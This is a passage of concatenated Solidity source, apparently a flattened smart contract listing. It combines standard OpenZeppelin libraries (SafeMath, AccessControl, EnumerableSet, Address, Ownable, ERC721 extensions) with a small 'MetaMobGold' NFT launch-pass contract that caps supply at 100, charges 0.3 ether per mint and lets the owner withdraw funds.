/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/EnumerableSet.sol";
import "../utils/Address.sol";
import "../utils/Context.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract MetaMobGold is ERC721, ERC721Enumerable, ERC721URIStorage, Ownable {
using Counters for Counters.Counter;
// Shared Metadata URI
string _URI = "QmWB5hyw2bFwgFBzv9NpbLhx1cnQxvz1ARS1jhef2PzkRd";
// Maximum supply of the NFT
uint256 public constant maxSupply = 100;
// Price of NFT
uint256 public constant price = 300000000000000000;
constructor() ERC721("MetaMob OG Launch Pass: Gold", "MMOG") {}
function safeMint(address to) public payable {
require(totalSupply() < maxSupply, "MetaMob OG Launch Passes are sold out");
require(msg.value >= price, "Price is 0.3 ether (300,000,000,000,000,000 wei)");
require(balanceOf(to) < 3, "You are only allowed 3 MetaMob Gold Launch Passes");
uint256 passID = totalSupply() + 1;
_safeMint(to, passID);
_setTokenURI(passID, _URI);
}
function withdrawFunds() public onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
// The following functions are overrides required by Solidity.
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
override(ERC721, ERC721Enumerable)
{
super._beforeTokenTransfer(from, to, tokenId);
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
super._burn(tokenId);
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
return super.tokenURI(tokenId);
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorage is ERC721 {
using Strings for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
